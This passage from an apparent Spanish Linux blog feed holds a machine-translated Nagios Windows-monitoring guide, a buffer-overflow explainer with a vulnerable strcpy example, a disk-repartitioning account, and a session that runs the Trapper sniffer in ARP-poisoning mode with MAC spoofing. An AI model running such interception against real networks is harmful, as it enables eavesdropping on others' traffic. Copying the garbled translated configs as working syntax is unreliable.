&lt;/p&gt;     &lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;   &lt;p&gt; Hay varios pasos que necesitamos seguir para vigilar una máquina nueva de Windows.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Son:&lt;/p&gt;   &lt;ol&gt;&lt;li&gt;Instalar un agente que vigila en la máquina de Windows&lt;/li&gt;&lt;li&gt;Cree el nuevo ordenador principal y mantenga las definiciones para vigilar la máquina de Windows&lt;/li&gt;&lt;li&gt;Reinicie el  demonio de Nagios&lt;/li&gt;&lt;/ol&gt;     &lt;p&gt;Al momento de la instalacion &lt;strong&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;/strong&gt;Para hacer la vida más fácil, algunas tareas de la configuración se han hecho ya para ti:  &lt;/p&gt;   &lt;ul&gt;&lt;li&gt;Una definición de comando del &lt;i&gt;check_nt&lt;/i&gt; se ha agregado al fichero de &lt;i&gt;commands.cfg&lt;/i&gt;. Esto permite que usted utilice el &lt;i&gt;check_nt&lt;/i&gt; plugin para vigilar servicios de la ventana.&lt;/li&gt;&lt;li&gt;Un modelo servidor de Windows se ha creado ya en el fichero de &lt;i&gt;templates.cfg&lt;/i&gt;. Esto permite que usted agregue nuevas definiciones del Windows de una manera simple.&lt;/li&gt;&lt;/ul&gt;  &lt;p&gt; Los ficheros antes dichos de los config se pueden encontrar en el directorio de &lt;i&gt;/usr/local/nagios/etc/objects/&lt;/i&gt;. Tu puedes modificar las definiciones en éstos y otras definiciones para satisfacer las necesidades de tu red.&lt;/p&gt;&lt;p&gt; &lt;strong&gt;&lt;u&gt;Requisitos previos&lt;/u&gt;&lt;/strong&gt; &lt;/p&gt;   &lt;p&gt; La primera vez que usted configura Nagios para vigilar una máquina de Windows, Necesitará hacer un poco trabajo adicional. necesitaras solamente hacer esto para la máquina de Windows. &lt;/p&gt;   &lt;p&gt; Corrija el fichero principal de los config de Nagios.  &lt;/p&gt;   &lt;pre&gt;VI /usr/local/nagios/etc/nagios.cfg&lt;br /&gt;&lt;/pre&gt;  &lt;p&gt; Decoimenta de la línea siguiente en el fichero principal de la configuración:  &lt;/p&gt;   &lt;pre&gt;#cfg_file=/usr/local/nagios/etc/objects/windows.cfg&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;p&gt; ¿Qué usted hiciste con esto? Usted dijo Nagios que mire en el fichero a &lt;i&gt;/usr/local/nagios/etc/objects/windows.cfg&lt;/i&gt; para encontrar definiciones adicionales del objeto. Aquí es donde agregarás el ordenador principal de Windows, Que el fichero de la configuración contiene ya algún ordenador principal de la muestra, hostgroup, y definiciones del servicio. Para la máquina de Windows , usted puede modificar simplemente el ordenador principal de la muestra y mantener definiciones en ese fichero, o más bien que crear nuevos. &lt;/p&gt;    &lt;p&gt; &lt;strong&gt;&lt;u&gt;Instalación del agente de Windows&lt;/u&gt;&lt;/strong&gt; &lt;/p&gt;   &lt;p&gt; Antes de que podamos comenzar a vigilar servicios y atributos privados de las máquinas de Windows, usted necesitará instalar un agente en esas máquinas. Recomiendo el usar del addon de NSClient++, que se puede encontrar en &lt;a href="http://www.systranlinks.com/trans?systran_lp=xx_es&amp;amp;systran_id=http://www.appliedlanguage.com/&amp;amp;systran_url=http%3A%2F%2Fsourceforge.net%2Fprojects%2Fnscplus"&gt;http://sourceforge.net/projects/nscplus&lt;/a&gt;. Estas instrucciones le tomarán a través de una instalación básica del addon de NSClient++, tan bien como la configuración de Nagios para monitorerar la máquina de Windows. &lt;/p&gt;   &lt;p&gt; 1. Descargue la versión estable más última del addon de NSClient++ de &lt;a href="http://www.systranlinks.com/trans?systran_lp=xx_es&amp;amp;systran_id=http://www.appliedlanguage.com/&amp;amp;systran_url=http%3A%2F%2Fsourceforge.net%2Fprojects%2Fnscplus"&gt;http://sourceforge.net/projects/nscplus&lt;/a&gt; &lt;/p&gt;   &lt;p&gt; 2. Descomprima los ficheros de NSClient++ en un nuevo directorio de C:\NSClient ++  &lt;/p&gt;   &lt;p&gt; 3. Abra una concloca de comando y cambiate al directorio C:\NSClient ++   &lt;/p&gt;   &lt;p&gt; 4. Coloca el servicio de sistema de NSClient++ con el comando siguiente:  &lt;/p&gt;   &lt;pre&gt; nsclient++ /install&lt;br /&gt;&lt;/pre&gt;  &lt;p&gt; 5. Instale el NSClient++ systray con el comando siguiente (“SysTray” es caso-sensible):  &lt;/p&gt;   &lt;pre&gt; nsclient++ SysTray&lt;br /&gt;&lt;/pre&gt;  &lt;p&gt; 6. Abre el adminsitrador de servicios y cerciórate de que el servicio de NSClientpp está permitido para trabajar recíprocamente con el escritorio (véase la tabulación de la “conexión” del administrador de servicios).&lt;/p&gt;   &lt;p&gt; &lt;img alt="NSClientpp" src="http://nagios.sourceforge.net/docs/3_0/images/nscpp.png" border="0" /&gt; &lt;/p&gt;  &lt;p&gt; 7. Modifica el fichero de NSC.INI (situado en el directorio de C:\NSClient ++) y realice los cambios siguientes:  &lt;/p&gt;   &lt;ul&gt;&lt;li&gt;Uncomment que todos los módulos enumerados en la sección [de los módulos], a excepción de CheckWMI.dll y de RemoteConfiguration.dll&lt;/li&gt;&lt;li&gt;Requerias opcionalmente de un password de paso para los clientes cambiando la opción de la “palabra password” en la sección [de las configuraciones].&lt;/li&gt;&lt;li&gt;Uncomment la opción de los “allowed_hosts” en la sección [de las configuraciones]. Agregue la IP address del servidor de Nagios a esta línea, o déjalo en blanco para permitir que todos los ordenadores  se conecten.&lt;/li&gt;&lt;li&gt;Cerciórate de que sea la opción “port” en la sección [de NSClient] uncommented y fijara a “12489” (el acceso del valor esta pore defecto por defecto).&lt;/li&gt;&lt;li&gt;podemos estar seguros de que el puerto esta abierto y en ecucha con nmap -p 12489 ip-windows&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;   &lt;p&gt; 8. Comience el servicio de NSClient++ con el comando siguiente:  &lt;/p&gt;   &lt;pre&gt; nsclient++ /start&lt;br /&gt;&lt;/pre&gt;  &lt;p&gt; 9. Si está instalado correctamente, un nuevo icono debe aparecer en su bandeja del sistema. Será un círculo amarillo con un “M negro” adentro. &lt;/p&gt;   &lt;p&gt; 10. ¡Éxito! El servidor de Windows se puede ahora agregar al Nagios.&lt;br /&gt;&lt;/p&gt;&lt;p&gt; &lt;strong&gt;&lt;u&gt;Nagios configuración&lt;/u&gt;&lt;/strong&gt; &lt;/p&gt;   &lt;p&gt; Ahora es hora de definir algunas &lt;a href="http://www.systranlinks.com/trans?systran_lp=xx_es&amp;amp;systran_id=http://www.appliedlanguage.com/&amp;amp;systran_url=http%3A%2F%2Fnagios.sourceforge.net%2Fdocs%2F3_0%2Fobjectdefinitions.html"&gt;definiciones del objeto&lt;/a&gt; en sus ficheros de la configuración de Nagios para vigilar la máquina nueva de Windows.   &lt;/p&gt;   &lt;p&gt; Abra el fichero de &lt;i&gt;windows.cfg&lt;/i&gt; para corregir.  &lt;/p&gt;   &lt;pre&gt;VI /usr/local/nagios/etc/objects/windows.cfg&lt;br /&gt;&lt;/pre&gt;  &lt;p&gt; Agregue una nueva definición para la máquina de Windows que vamos a monitorear. Si ésta es la máquina de Windows podemos modificar simplemente la definición del ordenador principal de la nuestro archvio &lt;i&gt;windows.cfg&lt;/i&gt;. Cambie los dastos necesarios y los campos de &lt;i&gt;direccionamiento a los&lt;/i&gt; valores apropiados para el host windows.  &lt;/p&gt;   &lt;pre&gt;defina el ordenador principal {&lt;br /&gt;uso  ventana-servidor ; Herede los valores por defecto de un modelo del servidor de Windows (se cerciora de usted mantiene esta línea!)&lt;br /&gt;host_name  winserver&lt;br /&gt;alias  Mi servidor de Windows&lt;br /&gt;direccionamiento  192.168.1.2&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;  &lt;p&gt; Bueno. Ahora podemos agregar algunas definiciones del servicio (al mismo fichero de la configuración) para decirle a Nagios que diversos aspectos de la máquina de Windows va a vigilar. Si ésta es la máquina de Windows que usted está vigilando, puedes modificar simplemente las definiciones del servicio de la muestra en &lt;i&gt;windows.cfg&lt;/i&gt;.   &lt;/p&gt;   &lt;p&gt; &lt;img alt="Nota" src="http://nagios.sourceforge.net/docs/3_0/images/note.gif" title="Nota" align="bottom" border="0" /&gt; Nota: Substituya el “&lt;i&gt;winserver&lt;/i&gt;” en las definiciones del ejemplo abajo por el nombre que usted especificó en la directiva del &lt;i&gt;host_name de la&lt;/i&gt; definición del ordenador usted acaba de agregar.  &lt;/p&gt;   &lt;p&gt; Agregue la definición siguiente del servicio para vigilar la versión del addon de NSClient++ que se está ejecutando en el servidor de Windows. Esto es útil cuando viene la hora de aumentar sus servidores de Windows a una más nueva versión del addon,&lt;br /&gt;&lt;/p&gt;   &lt;pre&gt;defina el servicio {&lt;br /&gt;uso   genéric-servicio&lt;br /&gt;host_name   winserver&lt;br /&gt;service_description Versión de NSClient++&lt;br /&gt;check_command  ¡check_nt! CLIENTVERSION&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;  &lt;p&gt; Agregue la definición siguiente del servicio para vigilar el uptime del servidor de Windows.  &lt;/p&gt;   &lt;pre&gt;defina el servicio {&lt;br /&gt;uso   genérico-servicio&lt;br /&gt;host_name   winserver&lt;br /&gt;service_description Uptime&lt;br /&gt;check_command  ¡check_nt! UPTIME&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;   &lt;p&gt; Agregue la definición siguiente del servicio para vigilar la utilización de la CPU en el servidor de Windows y para generar una alarma CRÍTICA si la carga minuciosa de la CPU 5 es el 90% o más o una alarma si la carga minuciosa 5 es el 80% o mayor. &lt;/p&gt;   &lt;pre&gt;defina el servicio {&lt;br /&gt;uso   genérico-servicio&lt;br /&gt;host_name   winserver&lt;br /&gt;service_description Carga de la CPU&lt;br /&gt;check_command  ¡check_nt! ¡CPULOAD! - l 5.80.90&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;   &lt;p&gt; Agregue la definición siguiente del servicio al uso de la memoria del server Windows y genere una alarma CRÍTICA si el uso de la memoria es el 90% o más o una alarma warnig si el uso de la memoria es el 80% o mayor. &lt;/p&gt;   &lt;pre&gt;defina el servicio {&lt;br /&gt;uso   genérico-servicio&lt;br /&gt;host_name   winserver&lt;br /&gt;service_description Uso de la memoria&lt;br /&gt;check_command  ¡check_nt! ¡MEMUSE! - W 80 - c 90&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;   &lt;p&gt; Agregue la definición siguiente del servicio al uso de C:\ en el servidor de Windows y genere una alarma CRÍTICA si el uso del disco es el 90% o más o una alarma warnig si el uso del disco es el 80% o mayor. &lt;/p&gt;   &lt;pre&gt;defina el servicio {&lt;br /&gt;uso   genérico-servicio&lt;br /&gt;host_name   winserver&lt;br /&gt;service_description espacio del mecanismo impulsor de C:\&lt;br /&gt;check_command  ¡check_nt! ¡USEDDISKSPACE! - l c - W 80 - c 90&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;   &lt;p&gt; Agregue la definición siguiente del servicio para vigilar el estado del servicio de W3SVC en la máquina de Windows y para generar una alarma CRÍTICA si se para el servicio. &lt;/p&gt;   &lt;pre&gt;defina el servicio {&lt;br /&gt;uso   genérico-servicio&lt;br /&gt;host_name   winserver&lt;br /&gt;service_description W3SVC&lt;br /&gt;check_command  ¡check_nt! ¡SERVICESTATE! - d SHOWALL - l W3SVC&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;   &lt;p&gt; Agregue la definición siguiente del servicio para vigilar el proceso de Explorer.exe en la máquina de Windows y para generar una alarma CRÍTICA si el proceso no se está ejecutando. &lt;/p&gt;   &lt;pre&gt;defina el servicio {&lt;br /&gt;uso   genérico-servicio&lt;br /&gt;host_name   winserver&lt;br /&gt;service_description Explorador&lt;br /&gt;check_command  ¡check_nt! ¡PROCSTATE! - d SHOWALL - l Explorer.exe&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;  &lt;p&gt; Eso es él para ahora. Has agregado algunos servicios básicos que se deben vigilar en el rectángulo de Windows. Excepto el fichero de la configuración. &lt;/p&gt;    &lt;p&gt; &lt;strong&gt;&lt;u&gt;Protección de password&lt;/u&gt;&lt;/strong&gt; &lt;/p&gt;   &lt;p&gt; Si usted especificó una palabra de paso en el fichero de la configuración de NSClient++ en la máquina de Windows, usted necesitará modificar la definición de comando del &lt;i&gt;check_nt&lt;/i&gt; para incluir la palabra de paso. Abra el fichero de &lt;i&gt;commands.cfg&lt;/i&gt; para corregir.  &lt;/p&gt;   &lt;pre&gt;VI /usr/local/nagios/etc/commands.cfg&lt;br /&gt;&lt;/pre&gt;  &lt;p&gt; Cambia la definición del comando del &lt;i&gt;check_nt&lt;/i&gt;  para incluir “- el argumento del &lt;password&gt; de s” (donde está la palabra de paso la "password que  especificaste en la máquina de Windows) como esto: &lt;/password&gt;&lt;/p&gt;   &lt;pre&gt;defina el comando {&lt;br /&gt;command_name check_nt&lt;br /&gt;command_line $USER1$/check_nt - H $HOSTADDRESS$ - p 12489 - "PALABRA DE PASO" de s - v $ARG1$ $ARG2$&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;strong&gt;&lt;u&gt;Reinicia Nagios&lt;/u&gt;&lt;/strong&gt;&lt;p&gt; &lt;/p&gt;   &lt;p&gt;&lt;a href="http://www.systranlinks.com/trans?systran_lp=xx_es&amp;amp;systran_id=http://www.appliedlanguage.com/&amp;amp;systran_url=http%3A%2F%2Fnagios.sourceforge.net%2Fdocs%2F3_0%2Fverifyconfig.html"&gt;verifica tus ficheros de configuración&lt;/a&gt; y &lt;a href="http://www.systranlinks.com/trans?systran_lp=xx_es&amp;amp;systran_id=http://www.appliedlanguage.com/&amp;amp;systran_url=http%3A%2F%2Fnagios.sourceforge.net%2Fdocs%2F3_0%2Fstartstop.html"&gt;reinicia Nagios&lt;/a&gt;.  &lt;/p&gt;   &lt;p&gt; Si el proceso de la verificación produce cualesquiera mensajes de errores, fijate en tu su fichero de configuración antes de continuar. ¡Cerciórate de que allas reiniciado (reinicia) Nagios hasta que el proceso de la verificación termina sin ningun error! &lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8002103865555107583-5878797134515261442?l=ekx0day-gnulinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ekx0day-gnulinux.blogspot.com/feeds/5878797134515261442/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8002103865555107583&amp;postID=5878797134515261442' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/5878797134515261442'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/5878797134515261442'/><link rel='alternate' type='text/html' href='http://ekx0day-gnulinux.blogspot.com/2008/03/monitorear-windows-mediante-nagios.html' title='Monitoreo de MAquinas WINDOWS(SUCKS) con NAGIOS'/><author><name>EKXO GNU/LINUX</name><uri>http://www.blogger.com/profile/11720620110053528288</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_X3QcW21Qw2k/R_vPzUYWddI/AAAAAAAAAGk/XHSp3-yY1sc/S220/Simplify.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8002103865555107583.post-171665374989630786</id><published>2008-03-10T12:56:00.000-07:00</published><updated>2008-03-10T13:03:28.890-07:00</updated><title type='text'>¿que es un buffer overflow ?</title><content type='html'>Este desbordamiento es posible porque el autor del programa no incluyó el código necesario para comprobar el tamaño y capacidad del buffer en relacion con el tamaño de datos que tiene que alojar.&lt;br /&gt;&lt;br /&gt;Los problemas comienzan cuando el exceso de datos se escribe en otras posiciones de memoria, con la perdida de los datos anteriores.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;EJEMPLO:&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;#include &lt;string.h&gt;&lt;br /&gt;&lt;br /&gt;int main(int argc, char *argv[])&lt;br /&gt;{&lt;br /&gt;  char buffer[10];&lt;br /&gt;  if (argc &lt; 2)&lt;br /&gt;  {&lt;br /&gt;    fprintf(stderr, "MODO DE USO: %s string\n", argv[0]);&lt;br /&gt;    return 1;&lt;br /&gt;  }&lt;br /&gt;  strcpy(buffer, argv[1]);&lt;br /&gt;  return 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Si entre los datos perdidos por la sobreescritura se encuentran rutinas o procedimientos necesarios para el funcionamiento del programa que estamos ejecutando, el programa dará error.&lt;br /&gt;Cuando la memoria de un programa llega a sobreescribir en forma aleatoria, el programa generalmente se colgará.&lt;br /&gt;&lt;br /&gt; El problema para la seguridad nace cuando este desbordamiento de buffer es provocado intencionalmente por alguien mediante envio de datos que incluyen porciones de código, calculando la cantidad de datos para poder predeterminar cual es el sobrante que se va a sobreescribir y donde. Provocado el desbordamiento, contienen una instrucción que apunta a una posición de memoria distinta, donde se encuentra el codigo ejecutable enviado por el atacante. &lt;br /&gt;&lt;br /&gt;El programa, inducido a funcionar anormalmente por la perdida de datos causada por el desbordamiento, ejecutará el código enviado por el atacante. esta chido !!NO&lt;br /&gt;&lt;br /&gt;El buffer overflow es un problema de código defectuoso, por lo tanto como usuarios nada podemos hacer para evitarlo (salvo que ademas de usuarios seamos expertos programadores, y dispongamos del codigo fuente de la aplicacion que sufre el desbordamiento). En realidad el unico remedio es estar informado de los programas que sufren estos problemas, y tener el software actualizado.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8002103865555107583-171665374989630786?l=ekx0day-gnulinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ekx0day-gnulinux.blogspot.com/feeds/171665374989630786/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8002103865555107583&amp;postID=171665374989630786' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/171665374989630786'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/171665374989630786'/><link rel='alternate' type='text/html' href='http://ekx0day-gnulinux.blogspot.com/2008/03/que-es-un-buffer-overflow.html' title='¿que es un buffer overflow ?'/><author><name>EKXO GNU/LINUX</name><uri>http://www.blogger.com/profile/11720620110053528288</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_X3QcW21Qw2k/R_vPzUYWddI/AAAAAAAAAGk/XHSp3-yY1sc/S220/Simplify.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8002103865555107583.post-3308131727858625514</id><published>2008-03-10T11:39:00.000-07:00</published><updated>2008-03-10T11:42:59.693-07:00</updated><title type='text'>Instalación de un disco duro adicional Una experiencia práctica</title><content type='html'>Instalación de un disco duro adicional&lt;br /&gt;                                          Una experiencia práctica&lt;br /&gt;Todo el mundo sabe que Linux nos permite dar vida a equipos obsoletos que ya no servirian para echar&lt;br /&gt;a andar otros, s.o más exigentes y no por ello mejores. En mi caso pude montar un pequeño case pero el&lt;br /&gt;problema es que la particion de var esta muy chica asi que hubo que ponerle un usb con el objetivo de&lt;br /&gt;emular un disco duro , y cambiar el punto de montaje asi el nuervo dispositivo sin que el sistema se&lt;br /&gt;afecta ya que si cometemos algun error en esta particion el sistema queda inestable o irreparable.hay&lt;br /&gt;que tener mucho cuidado al hacerlo .OK posteo los pasos que segui para hacerlo.&lt;br /&gt;Lo primero que hice fué mirar como estaba particionado mi nuevo disco, como lo había montado como&lt;br /&gt;esclavo&lt;br /&gt;bastó hacer un :&lt;br /&gt; fdisk /dev/sda1&lt;br /&gt;Así que la primera cosa a hacer fué eliminar las particiones que no me servían y crearlas de nuevo. Las&lt;br /&gt;intrucciones:&lt;br /&gt; fdisk /dev/sda1&lt;br /&gt;d #borrar una partición&lt;br /&gt;n #nueva partición&lt;br /&gt;W #escribir tabla de particiones&lt;br /&gt;Cuando entras en fdisk, tecleando m puedov er la lista de opciones disponibles.&lt;br /&gt;Sobretodo hay que ir muy alerta con no equivocarse con los dispositivos ya que nos podemos cargar la&lt;br /&gt;tabla de particiones del disco bueno. Una vez hemos particionado el disco el sistema me pidió reiniciar&lt;br /&gt;( adios a mi uptime, pero de todas formas uno no particiona el disco todos los días ).&lt;br /&gt;Una vez creadas las dos pariticiones que me interesaban /dev/sda1 de 512mb elsiguiente paso fué crear&lt;br /&gt;el sistema de archivos:&lt;br /&gt;mkfs.ext3 /dev/sda1&lt;br /&gt;Ahora ya tenía mi disco casi a punto. Mi intención era poner el contenido del directorio var en la&lt;br /&gt;partición de 512mb.&lt;br /&gt;Una vez ya tenemos las particiones creadas y formateadas se puede decir que ya tenemos hecha la parte&lt;br /&gt;más complicada. Ahora solo nos queda mover la información entre particiones y asegurarnos de no&lt;br /&gt;perder nada en el camino. Lo primero que hice fué montar la particion para poder pasar los archivos.&lt;br /&gt;mkdir /mnt/p1&lt;br /&gt;mount /dev/sda1 /mnt/p1&lt;br /&gt;Casi ya lo tenía. Es siguiente paso fué mover todo el contenido del directorio /var a /mnt/p1 .Para eso&lt;br /&gt;utilicé el midnight commander ( mc ) ¿ qué esperabais ? me gusta tener las dos ventanas y dejar que mc&lt;br /&gt;me pida como y qué quiero copiar.El caso de var era un poco más complejo ya que equivocarme&lt;br /&gt;equivaldría a dejar el sistema inestable o irreparable así que decidí curarme en salud y dejarlo, por si&lt;br /&gt;acaso, en su ubicación original: ya tendría tiempo de borrarlo si todo iba bien. En la copia elegí&lt;br /&gt;preservar atributos, permisos y enlaces.&lt;br /&gt;Bueno, ahora ya tenía los datos copiados, era hora de aplicar los cambios al fstab. En el&lt;br /&gt;archivo /etc/fstab nos encontramos las distintas particiones de nuestros discos junto con sus respectivos&lt;br /&gt;puntos de montaje. En mi caso el tema era substituir la partición donde estaba montada var, a&lt;br /&gt;saber, /dev/da1 y crear una nueva entrada.&lt;br /&gt;Después de realizar las modificaciones pertinentes siendo root mi archivo quedó de la siguiente&lt;br /&gt;manera:&lt;br /&gt;finamex-case:/etc/apache2/conf.d# cat /etc/fstab&lt;br /&gt;# /etc/fstab: static file system information.&lt;br /&gt;#&lt;br /&gt;# &lt;file system&gt; &lt;mount point&gt; &lt;type&gt; &lt;options&gt;            &lt;dump&gt; &lt;pass&gt;&lt;br /&gt;proc         /proc          proc defaults     0    0&lt;br /&gt;/dev/hda1       /           ext3 defaults,errors=remount-ro 0     1&lt;br /&gt;/dev/sda1       /var         ext3 defaults     0    2&lt;br /&gt;/dev/hda5       none           swap sw          0    0&lt;br /&gt;/dev/scd0       /media/cdrom0 udf,iso9660 user,noauto 0          0&lt;br /&gt;/dev/sda1       /media/usb0 auto rw,user,noauto 0           0&lt;br /&gt;NOTA:el directorio var antes estaba dentro de la particion root.&lt;br /&gt;Desmonté las particiones y ¡ a reiniciar la máquina se ha dicho ! y el sistema no arrancó,&lt;br /&gt;afortunadamente tenía a mano una mini-distro de dos disquetes ( para estas cosas van&lt;br /&gt;muy bien ), así que para salir del paso tuve que reiniciar la máquina con el disquete, montar /dev/hda1 y&lt;br /&gt;corregir la metida de pata del /etc/fstab.&lt;br /&gt;¡Y ya está!, ya tenía el sistema funcionando otra vez. Ahora solo me quedaba borrar el contenido&lt;br /&gt;de /dev/hda donde se había quedado la información de var, antigua y aprovecharlo para otro punto de&lt;br /&gt;montaje, en mi caso /opt . El proceso es practicamente el mismo que antes:&lt;br /&gt;Si alguien es un poco más lanzado que yo puede hacer algunas de las cosas que yo he hecho paso a&lt;br /&gt;paso de una vez y evitar un par de reinicios, pero a mi con los datos me gusta ir paso a paso.&lt;br /&gt;Contando los reinicios, la copia de los datos, la metida de pata, el tiempo de instalación del nuevo disco&lt;br /&gt;y la configuración de BIOS el tiempo total me superó la media hora.ya que era la primera vez que lo&lt;br /&gt;hacia.Es decir, es más rápido hacerlo que contarlo, pero espero que esta experiencia sirva a aquellos que&lt;br /&gt;se puedan encontrar en mi misma situación.&lt;br /&gt;Pueden checar mas articulos en el blog. y cheque que ya se haerca el flisol 2008&lt;br /&gt;Ekxo&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8002103865555107583-3308131727858625514?l=ekx0day-gnulinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ekx0day-gnulinux.blogspot.com/feeds/3308131727858625514/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8002103865555107583&amp;postID=3308131727858625514' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/3308131727858625514'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/3308131727858625514'/><link rel='alternate' type='text/html' href='http://ekx0day-gnulinux.blogspot.com/2008/03/instalacin-de-un-disco-duro-adicional.html' title='Instalación de un disco duro adicional Una experiencia práctica'/><author><name>EKXO GNU/LINUX</name><uri>http://www.blogger.com/profile/11720620110053528288</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_X3QcW21Qw2k/R_vPzUYWddI/AAAAAAAAAGk/XHSp3-yY1sc/S220/Simplify.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8002103865555107583.post-7980273924116470991</id><published>2008-03-03T16:49:00.000-08:00</published><updated>2008-03-03T17:02:32.003-08:00</updated><title type='text'>TRAPPER SNIIFER</title><content type='html'>TRAPPER ES UN SNIFFER BASADO EN CAIN PERO ESTE ES PARA LINUX MUY BUENA HERRAMIENTA&lt;br /&gt;&lt;br /&gt;Trapper is a simple tool for sniffing protocols like http, ftp, telnet&lt;br /&gt;pop3, imap, smtp, msn, irc and smb. Also this tool include the attack&lt;br /&gt;known as APR ( ARP Poison Routing ). More protocols and types of&lt;br /&gt;attacks will be added in the future.&lt;br /&gt;&lt;br /&gt;---:[ Requirements ]:---&lt;br /&gt;&lt;br /&gt;Before using trapper you will require this modules.&lt;br /&gt;&lt;br /&gt;-Net::IP&lt;br /&gt;-Net::RawIP&lt;br /&gt;-Getopt::Std&lt;br /&gt;-NetPacket::Ethernet&lt;br /&gt;-Time::HiRes&lt;br /&gt;-Net::Pcap&lt;br /&gt;-Net::Ping&lt;br /&gt;-Net::ARP&lt;br /&gt;-Proc::Simple&lt;br /&gt;-Net::Frame&lt;br /&gt;-Net::Frame::Layer::ARP&lt;br /&gt;-Net::Frame::Simple&lt;br /&gt;-Net::Frame::Dump::Online&lt;br /&gt;-NetPacket::IP&lt;br /&gt;-NetPacket::TCP&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;root@desarrollo-pc:/home/ekxo/Escritorio/trapper-0.3.5# perl install.pl&lt;br /&gt;&lt;br /&gt;[*] Trapper Installer 0.1&lt;br /&gt;&lt;br /&gt;Are you ready to continue? (Y/N) [Y]: y&lt;br /&gt;[*] Checking for: Proc::Simple...       [OK]&lt;br /&gt;[*] Checking for: Getopt::Std...        [OK]&lt;br /&gt;[*] Checking for: Time::HiRes...        [OK]&lt;br /&gt;[*] Checking for: Net::Pcap...  [OK]&lt;br /&gt;[*] Checking for: NetPacket::IP...      [OK]&lt;br /&gt;[*] Checking for: NetPacket::TCP...     [OK]&lt;br /&gt;[*] Checking for: NetPacket::Ethernet...        [OK]&lt;br /&gt;[*] Checking for: Net::IP...    [OK]&lt;br /&gt;[*] Checking for: Net::ARP...   [OK]&lt;br /&gt;[*] Checking for: Net::RawIP... [OK]&lt;br /&gt;[*] Checking for: Net::Ping...  [OK]&lt;br /&gt;[*] Checking for: Net::Frame... [OK]&lt;br /&gt;[*] Checking for: Net::Frame::Layer...  [OK]&lt;br /&gt;[*] Checking for: Net::Frame::Layer::ARP...     [OK]&lt;br /&gt;[*] Checking for: Net::Frame::Simple... [OK]&lt;br /&gt;[*] Checking for: Net::Frame::Dump...   [OK]&lt;br /&gt;[*] Checking for: Net::Frame::Dump::Online...   [OK]&lt;br /&gt;[*] Installation done, you can run now trapper =)&lt;br /&gt;&lt;br /&gt;root@desarrollo-pc:/home/ekxo/Escritorio/trapper-0.3.5# ./trapper.pl -i eth0 -m apr -f 00:02:5C:17:2B:FA&lt;br /&gt;&lt;br /&gt;-------------------------------------------------------------------&lt;br /&gt;                        trapper ver. 0.3.5&lt;br /&gt;                Authors: crypkey, nediam, nahual&lt;br /&gt;&lt;br /&gt;-------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;[*] Fake your mac address, please follow the steps...&lt;br /&gt;[*] Number of linux distro ( 'L' for list): L&lt;br /&gt;&lt;br /&gt;1) Ubuntu&lt;br /&gt;2) Debian/Slackware/Mandriva/Fedora/Other&lt;br /&gt;&lt;br /&gt;[*] Choose a number: 1&lt;br /&gt;[*] Right click on network manager icon and deselect networking&lt;br /&gt;[*] You ready to continue? (Y/N) [Y]: Y&lt;br /&gt;[*] Faking your mac addr to 00:02:5C:17:2B:FA, please wait...&lt;br /&gt;SIOCSIFHWADDR: Dispositivo ó recurso ocupado&lt;br /&gt;[*] Done..&lt;br /&gt;[*] Right click on network manager icon and select networking.&lt;br /&gt;[*] Wait until you have internet again.&lt;br /&gt;[*] You ready to continue? (Y/N) [Y]: Y&lt;br /&gt;[*] MODE SELECTED: ARP POISON ROUTING&lt;br /&gt;[*] 